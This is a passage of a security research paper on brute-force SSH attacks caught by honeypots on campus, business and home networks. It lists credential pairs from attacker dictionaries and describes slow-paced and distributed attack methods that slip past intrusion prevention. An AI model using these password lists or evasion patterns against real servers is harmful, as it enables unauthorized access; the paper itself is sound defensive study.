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ABSTRACT 

In its Top-20 Security Risks report for 2007, the SANS Institute called brute-force 

password guessing attacks against SSH, FTP and telnet servers “the most common form 

of attack to compromise servers facing the Internet.” A recent study also suggests that 

Linux systems may play an important role in the command and control networks for 

botnets. Defending against brute-force SSH attacks may therefore prove to be a key factor 

in the effort to defend against botnets. In this paper, we report on a study of brute-force 

SSH attacks observed on three very different networks: an Internet-connected small 

business network, a residential system with a DSL Internet connection, and a university 

campus network. The similarities observed in the methods used to attack these disparate 

systems are quite interesting. The evidence suggests that many brute-force attacks are 

based on pre-compiled lists of usernames and passwords, which are widely shared. We 

were able to confirm the existence of two such pre-compiled lists, based on the analysis 

of SSH attack toolkits captured in a related honeypot project.  Moreover, analysis of the 

passwords used in actual malicious SSH traffic suggests that the common understanding 

of what constitutes a strong password may not be sufficient to protect systems from 

compromise. Study data are also used to evaluate the effectiveness of a variety of 

techniques designed to defend against these attacks. 
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1.  Introduction 

Major security threats to networked computer systems appear to be reaching crisis 

proportions in recent years. For example, Barracuda Networks, a major supplier of email 

and Web security appliances, estimates that spam email accounted for between 90 and 95 

percent of all email sent during 2007 [BA07]. In addition, new phishing attacks increased 

by 18% during the first half of 2007 [SY07], and by the final quarter of last year phishing 

incidents accounted for nearly 60% of all security incidents reported [US07]. Commercial 

malware kits such as MPack [SA07], including maintenance and support agreements for 

client hackers, are now being offered for sale on the Internet for as little as $500. These 

trends have only continued to grow since 2006 when Bruce Schneier told the audience at 

the Hack in the Box Security Conference in Kuala Lumpur, Malaysia that in his 

estimation the security war was being lost [LE06]. 

Perhaps the single biggest security threat for networked systems going forward is 

represented by botnets, defined as collections of compromised computer systems used for 

a variety of criminal activities, including distributed denial-of-service attacks, spamming, 

traffic sniffing, keylogging, identity theft, and click fraud [HO05]. The most highly 

publicized botnet of 2007 was the Storm worm botnet, which is estimated to control as 

many as 50 million computers [GA07]. 

For most of the recorded history of botnets, dating back to 1999, the robot 

computers, or zombies, that populate them have been understood to consist primarily of 

compromised systems running a version of the Microsoft Windows operating system 

[HO05] [RZ06]. Propagation of zombie code has been observed to occur through a 
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number of Windows-specific worms, viruses, Trojans, and other forms of malware 

[CA05].  

More recently, vulnerabilities in Linux machines are being recognized as an 

important part of the problem, as well. In October 2007, Dave Cullinane, chief 

information and security officer at eBay, announced at the Trust Online conference that 

an internal investigation of the security threats faced by the online auction service had 

been traced to “rootkitted Linux boxes” [MC07]. Cullinane expressed surprise over this 

discovery, saying, “We expected Microsoft boxes.” Alfred Huger, vice president for 

Symantec Security Response, echoed Cullinane's comments, saying that compromised 

Linux machines are frequently used in phishing exploits. He also noted that Linux 

machines make up a large portion of the command and control networks for botnets. 

The eBay study's focus on the use of Linux systems in phishing and botnet 

activities correlates well with the data gathered through a local honeypot project. During 

the period from late-2006 through early 2008, using a low-interaction honeypot that 

mimics a vulnerable Web application (PHPShell 1.7) [PH05], we collected a number of 

malware samples that contained phishing sites, including at least two designed to target 

customers of PayPal, the eBay financial services affiliate. In addition, we have collected 

dozens of IRC bot command-and-control tools, based on the Eggdrop [EG06] and 

EnergyMech [EN05] and psyBNC [PS05] IRC bots. 

While it is true that computers running Linux are not subject to the many worms, 

viruses, and other malware that target Windows platforms, the Linux platform is known 

to be vulnerable to other forms of exploitation. A 2004 study conducted by the London-

based security analysis and consulting firm mi2g found that Linux systems accounted for 
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65% of “digital breaches” recorded during the twelve-month period ending in October 

2004 [HO04].  

Recent studies of vulnerability trends point to two primary attack vectors: brute-

force attacks against remote services such as SSH, FTP, and telnet, and Web application 

vulnerabilities [CM07] [SA07a]. In its Top-20 2007 Security Risks report, the SANS 

Institute called brute-force password guessing attacks against SSH, FTP and telnet 

servers “the most common form of attack to compromise servers facing the Internet.” The 

report notes that unpatched flaws such as buffer overflow vulnerabilities in the 

authentication functions of these services can allow arbitrary code execution; however, 

the report also points up a much more mundane threat. Weak passwords are specifically 

identified as a potential Achilles heel in these systems, since “brute forcing passwords 

can be a used as a technique to compromise even a fully patched system.” 

In this work, we focus specifically on brute-force SSH attacks. In particular, we 

analyze data collected from a large number of SSH brute-force attacks against Linux 

systems connected to different kinds of networks. We discuss patterns in the passwords 

used in these attacks, as well as the methods employed. We also use the data we collected 

to evaluate the effectiveness of various countermeasures that have been suggested for 

protecting systems against SSH brute-force attacks. 

The remainder of the thesis is organized as follows. Chapter 2 provides an 

overview of the project, including the experimental setup, an overview of attack activity, 

and a high-level summary of usernames and passwords used in attacks. In Chapter 3, 

malicious traffic is analyzed in detail, providing insight into the methods used by 

attackers. Chapter 4 provides an analysis of a SSH attack toolkit captured in a related 
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honeypot project, with discussion of how the included tools and files relate to our 

research findings. In Chapter 5, we evaluate a number of commonly recommended 

defenses against brute-force SSH attacks. Chapter 6 describes related work, followed by a 

description of future work in Chapter 7. We conclude in Chapter 8. 
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2. Project Overview 

A.1 Experimental Setup 

In order to collect as much data on actual attacks as possible from a variety 

network types, we deployed SSH honeypots in three very different network 

environments: 

• An Internet-connected small business network 

• A residential system with a DSL Internet connection 

• Our campus network 

The honeypots consisted of low-end PCs with minimal Linux server installations. 

Each system ran two SSH servers. The first was a patched version of OpenSSH Server 

version 4.7 [OP07] that listened for attack traffic on TCP port 22. The second server, 

intended for maintenance and control of the honeypots, ran the SSH server software 

provided with the Linux distribution and listened on a nonstandard high port. The three 

networks hosting the honeypots were completely separate, with no explicit or logical 

links to connect them. In addition, each network used a different Internet service 

provider. 

We implemented and applied two modifications to the OpenSSH server software 

for the honeypots. First, we added a line to the password authentication function to log 

the passwords used in all login attempts. Second, we hard-coded the function’s return 

value to always indicate a failed login attempt, as we were not interested in allowing 

attackers to access the honeypots. Figure 1 below provides a listing of the patched 

password authentication function. Our modifications are highlighted in bold. 
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int auth_password(Authctxt *authctxt, const char *p assword) { 
   struct passwd * pw = authctxt->pw; 
   int result, ok = authctxt->valid; 
 
   /* JPO Added: Log all passwords */ 
   if( strlen(password) > 0 ) 
     logit( "PW-ATTEMPT: %s from %s", password, get_remote_ipaddr()); 
   /***********************/ 
 
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIR E) 
   static int expire_checked = 0; 
#endif 
 
#ifdef USE_PAM 
   if (options.use_pam) 
           return (sshpam_auth_passwd(authctxt, pas sword) && ok); 
#endif 
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIR E) 
   if (!expire_checked) { 
      expire_checked = 1; 
      if (auth_shadow_pwexpired(authctxt)) 
              authctxt->force_pwchange = 1; 
   } 
#endif 
 
   /* JPO Changed: Disallow all logins */ 
   /* result = sys_auth_passwd(authctxt, password); */ 
   result = 0; 
   /***********************/ 
 
   if (authctxt->force_pwchange) 
      disable_forwarding(); 
   return (result && ok); 
} 

Figure 1. The patched OpenSSH server password authentication function. 

With the addition of the logit()  function call shown above, the honeypots’ 

authorization logs provide complete information regarding malicious login attempts. An 

excerpt from one honeypot’s log showing several malicious login attempts is provided in 

Figure 2 below. Each log message consists of  
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• A date-time group, such as  Feb 10 11:17:04 

• The machine’s host name, which in this case is stella 

• The logging facility (the secure shell server daemon) and its process id, or 

PID: sshd[12137] 

• A message 

All messages relating to a single login attempt share the same PID. Information 

on passwords used in malicious login attempts is given in the messages beginning with 

PW-ATTEMPT, while the associated username is listed in a follow-on message that begins 

with the words Failed password . Also note the messages shown in Figure 2 regarding 

the fact that the root account was locked. As a security measure, both the SSH servers 

running on each honeypot were configured to disallow root logins via SSH; however, this 

information is not available to attackers. 

Feb 10 11:17:04 stella sshd[12137]: PW-ATTEMPT: id from 64.81.132.214 

Feb 10 11:17:04 stella sshd[12137]: Failed password  for invalid user 
root from 64.81.132.214 port 17346 ssh2 

Feb 10 11:17:05 stella sshd[12142]: User root not a llowed because 
account is locked 

Feb 10 11:17:05 stella sshd[12142]: PW-ATTEMPT: 123 4567 from 
64.81.132.214 

Feb 10 11:17:05 stella sshd[12142]: Failed password  for invalid user 
root from 64.81.132.214 port 17697 ssh2 

Feb 10 11:17:06 stella sshd[12144]: User root not a llowed because 
account is locked 

Feb 10 11:17:06 stella sshd[12144]: PW-ATTEMPT: asd fghjkl from 
64.81.132.214 

Feb 10 11:17:06 stella sshd[12144]: Failed password  for invalid user 
root from 64.81.132.214 port 17769 ssh2 

Feb 10 11:17:07 stella sshd[12146]: User root not a llowed because 
account is locked 

Feb 10 11:17:07 stella sshd[12146]: PW-ATTEMPT: 024 6 from 64.81.132.214 

Feb 10 11:17:07 stella sshd[12146]: Failed password  for invalid user 
root from 64.81.132.214 port 17862 ssh2 

Figure 2. Excerpt of malicious login activity from a SSH honeypot authorization log. 
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The structure of the authorization log messages related to malicious login 

attempts readily lends itself to parsing and extracting the relevant data and inserting it 

into a database. We wrote a simple Python script for this purpose named 

parse_logs.py  to automatically parse the honeypot logs on a daily basis. The database 

rows related to the malicious login traffic shown above are listed in Figure 3 below. The 

full text of the parse_logs.py  script is included in Appendix A. 

ID Date-Time Username Password IP Address 
53710 2008-02-10 11:17:04 root id 64.81.132.214 
53711 2008-02-10 11:17:05 root 1234567 64.81.132.21 4 
53712 2008-02-10 11:17:06 root asdfghjkl 64.81.132. 214 
53713 2008-02-10 11:17:07 root 0246 64.81.132.214 

Figure 3. Database excerpt of malicious login activity from a SSH honeypot. 

The local database for each honeypot is, in turn, automatically synchronized on a 

daily basis with a central server for data aggregation and analysis. Data is first extracted 

to text files by means of a scheduled database query. These text files are then 

synchronized with the central server using the Linux rsync  command. Finally, shell 

scripts run by a scheduled job on the central server are used to aggregate data from all the 

honeypots. For example, the shell script shown in Figure 4 below merges the password 

data from all honeypots into a single, sorted alphabetical list, which is then compressed 

and ready for download. 

#!/bin/bash 
 
rm -rf passwords.* 
for filename in /opt/sshdlogs/*; do 
    fn=$(basename "$filename") 
    if [ -f "$filename" ]; then 
        grep -v '^$' $filename >> passwords.all 
    fi 
done 
sort -d passwords.all | uniq > passwords 
gzip passwords 

Figure 4. Shell script used to merge password data from SSH honeypots. 
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We operated the honeypots in two phases, for periods of six to eight weeks each. 

The first phase ran from mid-July through late-August 2007. The second phase ran from 

mid-December 2007 until mid-February 2008. 

A.2 Overview of Attack Activity 

In this section, we begin with a high-level overview of the brute-force attacks we 

observed. Over the course of approximately 13 weeks, the three honeypots were 

subjected to 399 separate attacks, consisting of more than 151,000 login attempts, 

originating from 349 IP addresses. 

The number of individual login attempts observed during each attack varied 

widely, from one or two, up to hundreds or even thousands of attempts. The largest 

number of attempts observed during a single attack session was 13,446. This attack, 

observed on the honeypot located on the business network, lasted for more than five 

hours.  The next largest attack, observed on the honeypot located on the residential DSL 

connection, consisted of 9,311 login attempts and lasted for nearly two hours. The latter 

attack accounted for roughly one-third of all the login attempts recorded on the 

residential honeypot. 

Of the 349 distinct IP addresses involved in attacks across the three systems, 15 

addresses were observed in attacks on more than one honeypot. Just one IP address was 

observed in attacks on all three. Thus, we recorded a total of 333 distinct IP addresses in 

our research. Overall attack statistics are presented in Table 1, broken down by individual 

honeypot.  
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Table 1. Overall honeypot attack activity. 
  Campus Business Residence Totals 
Distinct attacks 152                   168              79  399                

Login attempts 
     

54,841     70,476        26,168  
         

151,485  
Source IP 
addresses 

          
126          145              78                 349  

 

An overview of attack activities by duplicate IP addresses on multiple honeypots 

is presented in Table 2. The bold, italicized entries indicate that the same 

username/password pairs were used in the same sequence in attacks on different 

honeypots. In most cases, when the same IP address was used in attacks on more than one 

honeypot, the same username/password pairs were used in precisely the same sequence, 

even if the total number of login attempts was not the same. For example, on 1/20/08, IP 

address 218.16.103.100 issued 14 login attempts to the Campus SSH honeypot and 627 

login attempts to the Business SSH honeypot on 1/22/08. The 14 username/password 

pairs from the Campus attack occur in exactly the order as the first 14 of 627 attempts in 

the Business attack. 

Table 2. Attack activities by duplicate IP addresses. 

IP Campus Attempts Business Attempts Residence Attempts 
125.138.96.19 8/21/07 168   8/5/07 168 

125.243.206.194 2/14/08 45 12/26/07 357    
125.63.74.130 1/1/08 292 12/30/07 1170    

200.111.37.234 2/2/07 9   2/8/08 9 
200.21.208.13 1/7/08 89   1/17/08 1 

210.53.138.162 7/31/07 5   8/20/07 1 
212.203.9.64   1/29/08 80 2/8/08 80 

213.247.207.230   1/3/08 70 1/4/08 162 
218.16.103.100 1/20/08 14 1/22/08 627    
221.204.251.32 2/12/08 9 8/12/07 6 7/14/07 9 

222.124.169.163 1/21/07 9 12/25/07 168    
222.221.12.12   12/24/07 3 2/11/08 124 
58.223.251.3   2/13/08 2 2/3/08 23 
67.133.32.70 2/16/08 1   2/13/2008 1 

80.87.72.3     2/8/2008 106 2/18/2008 431 
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A.3 Common Usernames and Passwords 

As one might expect, the username observed most often in malicious login 

attempts was root . Overall, the root account was targeted in 20 percent of all login 

attempts. Other usernames commonly targeted are often associated with temporary 

accounts, such as test , guest  or user . System accounts were also commonly targeted. 

Table 3 presents the “Top 12” usernames seen most frequently, along with their 

respective percentages of total login attempts. Interestingly, database system names, such 

as oracle , postgres , and mysql , appear to dominate the list of system accounts. 

Beyond the root , system and temporary account names, the vast majority of 

usernames we observed were first names (e.g. michael  or cheryl ). We were 

encouraged to see very little effort being made to target usernames such as those used in 

many U.S. organizations, which often combine all or part of people's surnames with their 

first and sometimes middle initials. In fact, a search for such usernames based on the top 

ten American surnames from the 2000 U.S. Census [US00] yielded just 33 examples 

among the nearly 24,000 distinct usernames collected in our research. In 32 of these 33 

examples, the username consisted of one or two initials, followed by the surname. 

Table 3. “Top 12” usernames observed in SSH attacks. 

Username % Used 
root       20.0  
admin         1.7  
test         1.4  
guest         0.7  
a         0.6  
user         0.5  
oracle         0.5  
webmaster         0.4  
postgres         0.4  
tester         0.3  
mysql         0.3  
ftpuser         0.3  
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Passwords based on the usernames themselves were by far the most commonly used in 

attacks on our honeypots. In fact, identical username/password pairs (e.g. root/root , 

guest/guest , michael/michael ) were used in nearly 47 percent of login attempts 

across all three honeypots. Passwords based on simple variations to the username were 

observed in another 10 percent of attempts. The most common variation was simply 

appending “123” to the username to form the password (e.g. root/root123 ). Other 

variations included passwords that were alternate forms of the username, such as the 

password walter  used with username walt , or the opposite male-female form, such as 

the password samantha  used with the username sam. Another common variation was a 

simple doubling or tripling of the username to form the password, such as forming the 

password testtest  from username test .  

Table 4 lists the passwords seen most frequently in attacks on our honeypots, 

along with their overall percentages of total login attempts. Passwords based on the 

username or the simple variations discussed above are represented by %username%. 

Dictionary words accounted for just over 9 percent of all passwords collected.  

Table 4. “Top 12” passwords observed in SSH attacks. 

Password % Used 
%username%     57.1  
123456       3.5  
password       1.2  
test       0.9  
root       0.7  
admin       0.6  
test123       0.6  
12345       0.5  
passwd       0.5  
1234       0.5  
123       0.4  
administrator       0.3  
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The results presented thus far correlate very well with those of earlier studies of 

malicious SSH login attempts [RB07] [SE06]. These studies tended to focus on the most 

frequently observed usernames and passwords in their analyses, as a prelude to the study 

of the actions taken by attackers who gained access to high-interaction honeypots. In our 

research, we have chosen to focus on the malicious login attempts themselves, with the 

goal of developing and evaluating recommendations for defending against brute-force 

attacks. We present the results of that analysis in the next chapter. 
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3. Attack Patterns 

In this section, we dig deeper into the attack patterns we observed in our SSH 

honeypots. We begin with an examination of the different types of passwords used in the 

attacks, followed by a discussion of some interesting attack scenarios. 

A.4 Passwords and Attack Dictionaries 

In Section 2.3, we presented data on the most common usernames and passwords 

used in attacks. In this section, we present a more detailed analysis of password usage. 

For SSH servers that permit password authentication, the passwords themselves are an 

obvious area of vulnerability. So we begin our analysis with an examination of the 

different kinds of passwords and attack dictionaries used in the attacks on our honeypots. 

A.4.1 Passwords 

One of the first questions raised in our analysis concerned the degree of 

commonality that might exist in the passwords used in attacks across the honeypots. In 

the previous section, we presented the overall “Top 12” list of passwords collected, 

which was headed by passwords that were variations on the username. Of course, these 

passwords vary with the username. Putting these passwords aside temporarily, we 

generated a list of the most frequently occurring passwords collected in each of the 

honeypots and compared them side-by-side. We found the similarity among these lists 

rather astonishing.  

Figure 5 below presents the 20 passwords seen most frequently in each honeypot. 

The passwords in the bold font are those that were found among the top 20 in all three 

honeypots. The passwords in italics were recorded in two of the lists. When evaluating 
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these lists, we again point out that these passwords were generated in attacks originating 

from 349 IP addresses. Just 15 of these IP addresses were observed in attacks on more 

than one honeypot. 

Campus Business Residence 
123456        123456           123456    
password      password         password  
test          root             test      
12345         test             12345     
admin         admin            123       
root          test123          1234      
1234          passwd           test123   
123           administrator    passwd    
administrator asutcmhack123@   1         
test123       12345            12        
qwerty        qwerty           admin     
12345678      user             a         
linux         123              root      
user          1234             abc123    
guest         40232046bad      qwerty    
apache        !@#asutcmhack!@# changeme  
abc123        guest            1q2w3e    
mysql         mysql            guest     
master        master           asdfgh    
webmaster     abc123           abcd1234  

Figure 5. The “Top 20” passwords from each honeypot. 

Overall, 12 passwords were found in the top 20 list among all three honeypots, 

with another 5 occurring in two of the lists. These results might have been even more 

striking were it not for the presence of three of the longest passwords found in the 

Business honeypot’s list: 

asutcmhack123@ 

40232046bad  

!@#asutcmhack!@# 

These passwords were used hundreds of times each in combination with different 

usernames in a single attack on the Business honeypot. These passwords are also the 

strongest found in this list. In fact, the password asutcmhack123@  received a “Best” 
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rating when tested with Microsoft’s online Password Checker tool [MI08], while the 

remaining two were rated as “Medium.”  

A.4.2 Attack Dictionaries 

The similarities we observed among the passwords most commonly used in 

attacks on the three honeypots led us to suspect that attackers might be using shared 

dictionaries of usernames and passwords. In fact, by examining the number of login 

attempts involved in attacks on the three honeypots and manually comparing the 

individual usernames and passwords used in each attack, we found evidence of at least 

five such dictionaries. 

The criteria we used to identify attack dictionaries were quite strict. Specifically, 

we considered two attack sessions to be using the same dictionary only if they used 

exactly the same username/password pairs in precisely the same order. We also observed 

numerous partial runs of similar username/password lists; however, these were not 

counted. 

Table 5 provides some statistics on the frequencies with which the dictionaries we 

identified were used in attacks. We named the dictionaries according to the number of 

username/password pairs contained in each. The total of 66 attacks using these 

dictionaries accounted for 17 percent of all the brute-force SSH attacks observed on the 

honeypots. Given the strict criteria used to define each dictionary, we find this result 

quite striking. Additional information on the individual dictionaries is provided in the 

following paragraphs. 
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Table 5. Username/password dictionaries used in SSH attacks. 

  Campus Business Residence Total 
Dictionary-9 7 11 6 24 
Dictionary-66 0 1 2 3 
Dictionary-168 16 10 6 32 
Dictionary-363 2 1 1 4 
Dictionary-373 1 2 0 3 

Totals 26 25 15 66 

A.4.2.1 Dictionary-9 

The smallest of the 5 dictionaries we observed, including 9 username/password 

pairs, was used in a total of 24 attacks involving all 3 of the honeypots. As shown in 

Figure 2 below, the usernames and passwords used are quite simple. This dictionary was 

clearly designed to permit exploration of a large number of potentially vulnerable servers 

in a very short period. The average time required to complete each of the 24 attacks 

observed using this dictionary was just over 23 seconds.  

Usernames Passwords 

test test 

guest guest 

admin admins 

user user 

root password 

root root 

root 123456 

test 123456 

Figure 6. Usernames/passwords included in Dictionary-9. 

A.4.2.2 Dictionary-66 

All username/password pairs contained in this dictionary were specifically 

directed at the root account. The passwords used include a small number of the sort found 

in the Top 20 lists above, as well as some simple phrases like changeme  and trustno1 . 
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However, the majority of the passwords found in this dictionary are based on simple 

keyboard patterns, such as the following: 

qazwsxedc 

qpwoeiruty 

1q2w3e4r 

!@#$%^ 

A complete listing of the usernames and passwords found in this dictionary is provided in 

Appendix B. 

A.4.2.3 Dictionary-168 

This dictionary proved to be the most popular choice for attacks on the honeypots. It 

includes a large variety of usernames including root; various system accounts; generic 

and/or temporary account names such as staff, sales, and recruit; as well as proper names. 

The included passwords are quite simple throughout, with the vast majority being limited 

to the username or a simple variation thereon. We identified three distinct versions of this 

dictionary, each of which individually met the criteria described above for defining 

dictionaries. That is, each version was observed in repeated attacks, using the exact same 

username/password pairs occurring in precisely the same order. Each version 

incorporated a small number of modifications (10 or fewer) to the usernames, passwords, 

or both from other versions. Despite these minor differences, each version of Dictionary-

168 contained the same number of username/password pairs. A complete listing of the 

usernames and passwords found in these dictionaries is provided in Appendix C. 

A.4.2.4 Dictionary-363 and Dictionary-373 

These dictionaries include a diverse collection of usernames and passwords and 

may simply represent a conglomeration of smaller dictionaries. The root account and 
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various system accounts are well represented, with passwords of varying types including 

common English words, proper names, keyboard patterns, and “leets,” which replace 

letters with numbers or symbols that resemble the replaced letter. For example, these 

dictionaries include these variations on the word password: 

p@ssw0rd 

p@ssword 

passw0rd 

pa$$word 

pa55word 

pa55w0rd 

Both dictionaries also include more than a hundred identical usernames/passwords based 

on proper names. A complete listing of the usernames and passwords found in these 

dictionaries is provided in Appendix D. 

The information on attack dictionaries provided in this section is based on our 

analysis of the usernames and passwords captured in hundreds of attacks. In Chapter 4, 

however, we will describe a SSH brute-force attack toolkit captured in a related honeypot 

project that contained several attack dictionaries, one of which exactly matches the most 

frequently observed version of Dictionary-168. 

A.5 Attack Methods 

As noted in the previous section, the number of login attempts observed during 

individual attack sessions varied widely. Roughly one-third consisted of ten or fewer 

login attempts, while other attackers attempted hundreds or even thousands of logins in a 

single session. In fact, in about 10 percent of attacks, more than 1,000 login attempts 

were recorded. 
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While the vast majority of attacks seemed fairly straightforward, we recently 

observed a small number of attacks that appear specifically designed to evade detection 

by intrusion prevention systems. We provide details on three such attacks in the 

following paragraphs. 

A.5.1 Slow-motion Brute-force SSH Attacks 

Beginning on January 1 and continuing through January 8, 2008, we observed a 

total of 21 separate attack sessions on the Campus honeypot originating from a single IP 

address. The number of logins attempted during each session varied somewhat, but the 

number of logins attempted during a single session never exceeded nine. The total 

number of login attempts over the eight days was 130, all of which targeted the root 

account. 

The passwords used in the initial 50 or so attempts over the first 3 days were quite 

simple. They consisted mostly of common English words, proper names, and simple 

phrases such as newuser , stuffedturkey , and youareok . The passwords used in the 

next session, consisting of nine login attempts, consisted mostly of “leets” such as 

c4bl3m0d3m  (cablemodem), c4l3nd4r  (calendar), and c4lif0rni4  (california).  

Beginning with session number 11 and continuing throughout the remaining 

attacks sessions, the passwords were much stronger. In fact, of the passwords used in the 

last 73 login attempts, 53 percent were rated as “Strong” by Microsoft Corporation’s 

Password Checker tool [MI08]. A representative sample of these passwords is presented 

in Figure 7 below. 
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U50s8AdF 

OxZBA4xOMd 

35t3K6OZ 

Zh59EPu5mQxq 

8Nv9YUpQu0v 

K48v87GR8Rf 

QcxC3OuZUH 

848TmMf57 

bC28s9R7Weg 

nezBh57yi1jm  

Kqr17tJ89Tan  

Figure 7. “Strong” passwords used during a slow-motion brute-force SSH attack. 

The Business honeypot sustained a similar “slow motion” attack. Beginning on 

January 5 and continuing through January 9, 2008, we observed 11 individual login 

attempts originating from a single IP address. No more than four login attempts were 

made during a single day, and individual attempts were always spaced several hours 

apart. Details of the full sequence of these attacks are shown in Figure 8 below. 

Date Time Username Password 

2008-01-05 22:14:31 admin changeme 

2008-01-07 01:56:01 root  abc123   

2008-01-07 07:51:40 root  newpass  

2008-01-07 13:47:17 root  q1w2e3   

2008-01-07 19:43:05 root  pass123  

2008-01-08 01:38:53 root  12345    

2008-01-08 07:34:37 root  123456   

2008-01-08 13:30:14 root  pass1234 

2008-01-08 19:25:55 root  tmp123   

2008-01-09 01:21:46 root  test123  

2008-01-09 07:17:30 root  test1234 

Figure 8.  A “slow motion” brute-force SSH attack on the Business honeypot. 
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This latter attack would be most effective in evading detection by many intrusion 

prevention systems (IPS), which are configured to detect repeated failed login attempts 

from a single IP address. In nearly all cases, these systems regularly reset the count of 

failed login attempts after a period of time to prevent authorized users from having their 

IP addresses blocked due to occasional failed login attempts. The relatively slow pace of 

this attack might reasonably be expected to blend in with legitimate login traffic, 

particularly at a high-volume site. 

A.5.2 A Distributed, Coordinated Brute-force SSH Attack 

On January 7, 2008 we observed another attack apparently designed to evade 

detection by intrusion prevention systems. This attack consisted of a coordinated series of 

login attempts originating from 10 different but consecutive IP addresses from the same 

Class C network. A total of 33 logins were attempted in just over 3 minutes, with no 

more than 5 attempts originating from a single IP address. The sequence of login attempts 

is shown in Figure 9 below. Interestingly, the username/password pairs used in this attack 

are identical to the first 32 pairs found in one version of the attack dictionary designated 

as Dictionary-168 in the previous section. Although distributed among 10 different 

source IPs addresses, the username/password pairs used in this attack were attempted in 

exactly the same order as in other attacks originating from a single IP address. 

Time Username Password IP Address 

10:42:34 staff staff aaa.bbb.ccc.131 
10:42:39 sales sales aaa.bbb.ccc.136 
10:42:44 recruit recruit aaa.bbb.ccc.131 
10:42:51 alias alias aaa.bbb.ccc.137 
10:42:58 office office aaa.bbb.ccc.137 
10:43:03 samba samba aaa.bbb.ccc.137 
10:43:08 tomcat tomcat aaa.bbb.ccc.131 
10:43:13 webadmin webadmin aaa.bbb.ccc.136 
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10:43:21 spam spam aaa.bbb.ccc.138 
10:43:29 virus virus aaa.bbb.ccc.134 
10:43:36 cyrus cyrus aaa.bbb.ccc.139 
10:43:41 oracle oracle aaa.bbb.ccc.136 
10:43:46 michael michael aaa.bbb.ccc.134 
10:43:51 ftp ftp aaa.bbb.ccc.137 
10:43:57 test test aaa.bbb.ccc.135 
10:44:05 webmaster webmaster aaa.bbb.ccc.138 
10:44:10 postmaster postmaster aaa.bbb.ccc.134 
10:44:15 postfix postfix aaa.bbb.ccc.139 
10:44:21 postgres postgres aaa.bbb.ccc.139 
10:44:26 paul paul aaa.bbb.ccc.131 
10:44:32 root root aaa.bbb.ccc.131 
10:44:38 guest guest aaa.bbb.ccc.133 
10:44:43 admin admin aaa.bbb.ccc.139 
10:44:49 linux linux aaa.bbb.ccc.138 
10:44:54 user user aaa.bbb.ccc.140 
10:45:00 david david aaa.bbb.ccc.139 
10:45:06 web web aaa.bbb.ccc.136 
10:45:11 apache apache aaa.bbb.ccc.137 
10:45:17 pgsql pgsql aaa.bbb.ccc.132 
10:45:22 mysql mysql aaa.bbb.ccc.134 
10:45:30 info info aaa.bbb.ccc.138 
10:45:35 tony tony aaa.bbb.ccc.135 
10:45:45 core core aaa.bbb.ccc.138 

Figure 9. A distributed brute-force SSH attack. 

We believe that these attacks represent fledgling efforts to lower the “noise level” 

of brute-force SSH attacks, and thereby avoid detection. We fully expect to see more 

sophisticated attacks using these and similar methods to extend the time periods between 

login attempts and to distribute the attempts among a greater number of IP addresses. In 

fact, distributed SSH attacks would seem to be a likely application for large, distributed 

botnets. 

A.5.3 Predicting Future Attack Patterns 

In fact, on February 29, 2008 we were able to confirm our suspicions that future 

distributed attacks would become increasingly sophisticated. On that date, Donald Smith, 

the handler on duty at the SANS Internet Storm Center (ISC), posted a report of what he 
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termed a “dense distributed ssh scan” [SA08]. Quoting a contributor named Ben, Smith 

described an attack during which the malicious login attempts were distributed among 

most of the addresses in an entire Class C block, with each IP address generating only 

one or two attempts each. The “noise level” of this sort of attack would fall well below 

the threshold of even the most sensitive intrusion prevention systems.  

In response to Smith’s report, we notified the ISC of our own observations and 

learned that distributed attacks such as the one we observed are being called “distributed 

and coordinated,” in that multiple source IPs addresses are used to attack a single target 

and the attackers share a dictionary. We also learned that distributed SSH attacks were 

first noted in late-October 2007, along with a marked increase in the level of SSH brute-

force attacks, generally [SA07b]. The text of the ISC response, with a reference to our 

report, is presented in Figure 10 below. 

Subject: RE: ISC# [9230806] Dense Distributed SSH b ruteforce attempts  
MYDYNY 

Date: Fri, 29 Feb 2008 07:49:15 -0700 

From: "Smith, Donald" <Donald.Smith@qwest.com> 

To: <owensjp@clarkson.edu>, <handlers-9230806@sans. org> 

 

Thank s Jim, I will probably add a link and a reference t o it in an 
update later today. 

BTW I am calling attacks that come from multiple ip  addresses and seem 
to share a dictionary distributed and coordinated. 

donald.smith@qwest.com giac 

________________________________ 

From: owensjp@clarkson.edu [mailto:owensjp@clarkson .edu] 

Sent: Fri 2/29/2008 6:45 AM 

To: handlers-9230806@sans.org 

Subject: ISC# [9230806] Dense Distributed SSH brute force attempts 
MYDYNY 

 

Name: Jim Owens 

E-Mail: owensjp@clarkson.edu 
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/* handlers@sans.org is an alias for all ISC handle rs. 

   Please include the list in all replies to keep e veryone informed. 

   You may receive more than one response */ 

 

We reported on a similar, though somewhat cruder at tack in a paper we = 

recently submitted to Usenix LEET '08: 

 

http://people.clarkson.edu/~owensjp/pubs/leet08.pdf  

 

This attack, which occurred in early January 2008, used 10 consecutive  

IP addresses in the same CIDR 24 block (aaa.bbb.ccc .131 -  
aaa.bbb.ccc.140). The noise level was, of course, h igher, a s some IPs 
issued as many as four or five probes. As we report ed, we expected to 
see more sophisticated use of this method in the fu ture. We were 
therefore very interested to see your report. 

 

What we found particularly interesting about the at tack we obse rved was 
the coordinated use among these 10 IPs of a very fa miliar (to us) 
attack dictionary of usernames/password pairs. Whil e only 33 probes 
were attempted in total, the username password pair s and the order in 
which they were issued to the target were i dentical to those used in 
numerous single-source attacks we have observed. 

---  

Figure 10. Email response from SANS Internet Storm Center. 
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4. Analysis of a SSH Brute-Force Attack Toolkit 

In this chapter, we provide some additional insight into the methods used in SSH 

brute-force attacks by analyzing a malware toolkit (webmin) designed specifically for 

this kind of attack.  

A.6 Capturing a malware toolkit 

The toolkit we analyzed was captured in a separate low-interaction honeypot that 

has been operating on an off-campus network since late-September 2006. The honeypot 

mimics a vulnerable version of the PHPShell Web application, “a shell wrapped in a PHP 

script...a tool you can use to execute arbitrary shell-commands or browse the file system 

on your remote webserver” [PH05]. The application mimicked is PHP Shell version 1.7, 

which provides shell access via a Web browser without requiring user authentication. In 

fact, anyone connecting to this application via the Internet using a Web browser has the 

ability to run arbitrary shell commands on the host system.  

Users enter arbitrary shell commands in the field provided and then click the 

Enter key. Any output produced is then displayed in the gray field below. Figure 11 

below shows the PHP Shell interface presented to attackers by the honeypot. The output 

field in the figure shows the output provided in response to the id  command. By default, 

the PHP Shell honeypot responds to relatively few commands. For example, in response 

to the Linux ls  (list) command, a listing of the default contents of the /phpshell  

directory is displayed. If an attacker tries to display the contents of the phpshell.php  

